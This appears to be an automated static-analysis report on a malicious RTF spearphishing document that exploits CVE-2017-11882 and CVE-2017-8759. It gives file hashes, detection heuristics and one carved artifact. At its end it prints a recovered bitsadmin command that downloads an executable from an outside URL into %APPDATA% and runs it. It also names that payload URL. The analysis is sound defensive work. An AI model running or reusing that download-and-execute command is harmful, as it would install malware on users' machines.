Malicious RTF — malware analysis report

Static analysis result for SHA-256 cee15f5b94651a31…

MALICIOUS

RTF

261.1 KB Created: 2018-07-03 09:28:00 First seen: 2020-05-25
MD5: 0862024fe34c0ec72589b99a77f7b917 SHA-1: 025601dbf6b361602d332daa3c0989fc5f853fb4 SHA-256: cee15f5b94651a3161aa9c7a974c5136a0612edc981c16d9385478230801d2b4
322 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759. These exploits are designed to execute arbitrary code, likely downloading and running a second-stage payload from the URL http://bbtravelntours.com/wp-admin/maint/sca.exe.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bbtravelntours.com/wp-admin/maint/sca.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bf6b.bin rtf-objdata-decoded RTF \objdata at offset 0xBF6B 15672 bytes
SHA-256: 7d9a846636975be801c14ef46e17ad67d8c68f60f0255dcad3df69db0a9c2585
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://bbtravelntours.com/wp-admin/maint/sca.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer KK /priority foreground http://bbtravelntours.com/wp-admin/maint/sca.exe %APPDATA%\sca.exe && start %APPDATA%\sca.exe

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